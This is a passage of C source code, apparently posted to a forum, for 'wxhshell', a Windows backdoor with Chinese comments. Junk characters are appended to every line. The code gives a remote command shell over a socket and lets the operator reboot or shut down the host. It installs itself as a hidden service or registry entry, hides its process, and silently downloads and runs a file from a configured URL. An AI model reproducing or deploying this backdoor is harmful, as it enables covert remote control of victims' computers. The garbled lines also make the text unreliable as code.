    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l&m Y}k  
    else v0bP|h[t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HV]u9nrt#  
    break; 9Sa6v?sRor  
    } xK5~9StP  
  // 卸载 7xO~v23oe  
  case 'r': { )YZx]6\l)  
    if(Uninstall()) ^ ]+vtk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =rkW325O  
    else u_8Z^T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^i8(/iwdJE  
    break; }}"|(2I  
    } PeLzZ'$D  
  // 显示 wxhshell 所在路径 (B?ZUXM,  
  case 'p': { m& D#5C  
    char svExeFile[MAX_PATH]; vTWm_ed+^  
    strcpy(svExeFile,"\n\r"); Bo'v!bI7  
      strcat(svExeFile,ExeFile); 5aXE^.`  
        send(wsh,svExeFile,strlen(svExeFile),0); ~\<L74BB  
    break; 6['o^>\}f  
    } S/l6c P  
  // 重启 MlW*Tugg  
  case 'b': { g; 7u-nP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tDMNpl  
    if(Boot(REBOOT)) )M"xCO3a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >LPIvmT4D?  
    else { ~8-xj6^  
    closesocket(wsh); 3BF3$_u)o  
    ExitThread(0); C AN1~  
    } nV8iYBBym  
    break; ,s:viXk  
    } h}DKFrHW;-  
  // 关机 S&D8Rao5  
  case 'd': { N&|,!Cu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gr# |ZK.`  
    if(Boot(SHUTDOWN)) {M\n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;0uiO.  
    else { 8kE3\#);\  
    closesocket(wsh); l?Ibq}[~  
    ExitThread(0); 7?);wh7`  
    } C9,Uwz<!]  
    break; M~+DxnJ=  
    } ][YC.J  
  // 获取shell ft4hzmuzM  
  case 's': { $s 'n]]Wq  
    CmdShell(wsh); g8" H{u  
    closesocket(wsh); n?9FJOqi  
    ExitThread(0); d'b9.ki\  
    break; 7*He 8G[W  
  } =j{Kxnv  
  // 退出 3~Ap1_9  
  case 'x': { ["<'fq;PJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0\!v{A> I'  
    CloseIt(wsh); QiJ  
    break; lnF{5zc  
    } LyL(~Jc|  
  // 离开 fX>y^s?y  
  case 'q': { <\P `<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %7?Z|'\  
    closesocket(wsh); 8`90a\t'Z  
    WSACleanup(); u*rHKZ9i  
    exit(1); BKgCuz:y  
    break; D6C h6i5$  
        } BPVOBL@   
  } x+DecO2  
  } cIrc@  
Q8.LlE999  
  // 提示信息 k dhwnO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |t~>Xs  
} U~M!T#\s  
  } >5D;uTy u  
ViG>gMGv  
  return; \p]B8hLW  
} #wZH.i #  
n9R0f9:*  
// shell模块句柄 _>8Q{N\- {  
int CmdShell(SOCKET sock) $I4Wl:(~}  
{ U"~W3vwJ  
STARTUPINFO si; KleiX7  
ZeroMemory(&si,sizeof(si)); T8yMaC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; io@f5E+?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *.Z~f"SZy*  
PROCESS_INFORMATION ProcessInfo; 6qWWfm/6  
char cmdline[]="cmd"; ,zxv>8Nt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \Pe+]4R-Xo  
  return 0; P4+PY 8  
} b/ h#{'  
,,BWWFg~  
// 自身启动模式 w6pXF5ur>  
int StartFromService(void) ff~1>=^  
{ ~qK/w0=j  
typedef struct LC\U6J't1  
{ Z9Z\2t  
  DWORD ExitStatus; MIb [}w=  
  DWORD PebBaseAddress; G^eXJusOv  
  DWORD AffinityMask; KKWv V4u  
  DWORD BasePriority; EBr?>hl  
  ULONG UniqueProcessId; ;V?d;O4u  
  ULONG InheritedFromUniqueProcessId; pbw{EzM  
}   PROCESS_BASIC_INFORMATION; {-%8RSK=<  
_rmKvSD%  
PROCNTQSIP NtQueryInformationProcess; RaP,dR+P  
%E"Z &_3{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;|:R*(2   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *%E\mu,,c  
e*U6^Xex  
  HANDLE             hProcess; s'$2 }K  
  PROCESS_BASIC_INFORMATION pbi; R'" c  
syI|gANT/r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'g3T'2"`5  
  if(NULL == hInst ) return 0; +(^H L3  
9[sOh<W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u(\O@5a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Zp BYX5e_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y0~ttfv  
|.L_c"Bc  
  if (!NtQueryInformationProcess) return 0; dlIYzO<  
0?dr(   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5HIQw9g6  
  if(!hProcess) return 0; FYK`.>L28  
W+5. lf=2>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q|e-)FS)  
90K&oof?M  
  CloseHandle(hProcess); nd7g8P9p  
a,r B7aD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w4M;e;8m[U  
if(hProcess==NULL) return 0; p<,`l)o}~  
TwI'XMO;A  
HMODULE hMod;  qI${7  
char procName[255]; g4952u  
unsigned long cbNeeded; =itQ@ ``r  
/ :6|)AW.{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]hoq!:>M1  
e[0"x. gu  
  CloseHandle(hProcess); `csZ*$7  
ga(k2Q;y  
if(strstr(procName,"services")) return 1; // 以服务启动 *ZxurbX#  
}r!hm?e  
  return 0; // 注册表启动 q6<P\CSHy<  
} P,F eF'J^  
-4P `:bF  
// 主模块 o{^`Y   
int StartWxhshell(LPSTR lpCmdLine) x*=1C,C  
{ * ^V?u  
  SOCKET wsl; 5;,h8vW  
BOOL val=TRUE; "/mt uU3rt  
  int port=0; O?cU6u;W  
  struct sockaddr_in door; '4Fwh]Ee  
`b%lojT.  
  if(wscfg.ws_autoins) Install(); 51y#A Q@  
h72CGA|  
port=atoi(lpCmdLine); v+8Ybq  
K1Uq` TJ  
if(port<=0) port=wscfg.ws_port; L(sT/  
;{q*  
  WSADATA data; PB?2{Cj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c&FOt  
!a-B=pn!]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0!7p5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R n]xxa'  
  door.sin_family = AF_INET; +jyGRSo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X6 N&:<  
  door.sin_port = htons(port); 7 nFOV Z  
Am_>x8z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %:zu68Q[  
closesocket(wsl); 'tvuw\hhL  
return 1; ,?k1if(0[  
} 7 )r L<+  
_53~D=  
  if(listen(wsl,2) == INVALID_SOCKET) { mt`CQz"_  
closesocket(wsl); \"Y,1in#  
return 1; RjVmHhX  
} |_>^vW1f  
  Wxhshell(wsl); q=V'pML  
  WSACleanup(); u3GBAjPsIk  
~BX=n9  
return 0; [/%N2mj  
e}S+1G6r)  
} 75lh07  
^gZ,A]  
// 以NT服务方式启动 d7 H*F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /XEW]/4  
{ JXYZ5&[  
DWORD   status = 0; ~x#TfeU]  
  DWORD   specificError = 0xfffffff; "=T &SY  
tiHR&v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _lFw1pa#\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l $"hhI8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $2?j2}M  
  serviceStatus.dwWin32ExitCode     = 0; _]pu"hZz4  
  serviceStatus.dwServiceSpecificExitCode = 0; P(TBFu  
  serviceStatus.dwCheckPoint       = 0; XclTyUGoK+  
  serviceStatus.dwWaitHint       = 0; ;}"Eqq:  
zdd-n[%@V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,^97Ks ;  
  if (hServiceStatusHandle==0) return; IT&,?u%  
%S}uCqcAK  
status = GetLastError(); >([,yMIY  
  if (status!=NO_ERROR) )AQ^PBwp  
{ |=m.eU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^}B,0yUu'  
    serviceStatus.dwCheckPoint       = 0; fzQR0  
    serviceStatus.dwWaitHint       = 0; "cPg_-n  
    serviceStatus.dwWin32ExitCode     = status; +ovK~K $A  
    serviceStatus.dwServiceSpecificExitCode = specificError; @ 2)nhW/z6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mV$ebFco0  
    return; 4n@lrcq(  
  } m(6d3P  
a[(OeVQ5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G~YZ(+V%~  
  serviceStatus.dwCheckPoint       = 0; voRry6Q;  
  serviceStatus.dwWaitHint       = 0; )J}v.8   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U5OX.0  
} Q>Zc eJ;  
g-~ _gt7  
// 处理NT服务事件,比如:启动、停止 ]myRYb5Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J-5>+E,nZ  
{ 8Auek#[  
switch(fdwControl) !}#> ky!t  
{ ]A'{DKR  
case SERVICE_CONTROL_STOP: D3X4@sM  
  serviceStatus.dwWin32ExitCode = 0; L ,dh$F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d*0 RBgn  
  serviceStatus.dwCheckPoint   = 0; VNHce H  
  serviceStatus.dwWaitHint     = 0; R[ a-"  
  { Y \-W`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Jd(@DcJ2C  
  } u;-&r'J>  
  return; +*]$PVAFA  
case SERVICE_CONTROL_PAUSE: o8 JOpD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VAz4@r7hkq  
  break; ApXf<MAy  
case SERVICE_CONTROL_CONTINUE: 'z(Y9%+a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f +{=##'0  
  break; <gkE,e9  
case SERVICE_CONTROL_INTERROGATE: alaL/p{O  
  break; Yi*F;V   
}; &>,;ye>A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K8;SE !  
} Z~~6y6p  
3R+% C*7  
// 标准应用程序主函数 b0{i +R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  ?<EzILM  
{ P0,]`w  
IR6W'vA  
// 获取操作系统版本 @MES.g  
OsIsNt=GetOsVer(); / \w4k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f^ui Zb  
4]h/t&ppq  
  // 从命令行安装 WiS3W;  
  if(strpbrk(lpCmdLine,"iI")) Install(); rPaJ<>Kz  
&q-&%~E@  
  // 下载执行文件  AG@gOm  
if(wscfg.ws_downexe) { H9/!oI1P?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rx1u*L  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9&n9J^3L  
} J:yv82  
wUv?;Y$C  
if(!OsIsNt) { hG?y)g\A  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]#)(D-i  
HideProc(); |Vx [  
StartWxhshell(lpCmdLine); +'<P W+U$  
} "GO!^ZG]  
else eU1F7LS  
  if(StartFromService()) ez ,.-@O  
  // 以服务方式启动 "?NDN4l*  
  StartServiceCtrlDispatcher(DispatchTable); s6,~J F^  
else Wigt TAh4  
  // 普通方式启动 bC `<A  
  StartWxhshell(lpCmdLine); z1mB Hz6  
j=l2\W#}  
return 0; |nefg0`rk  
}
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只看该作者 1 发表于: 2006-10-10
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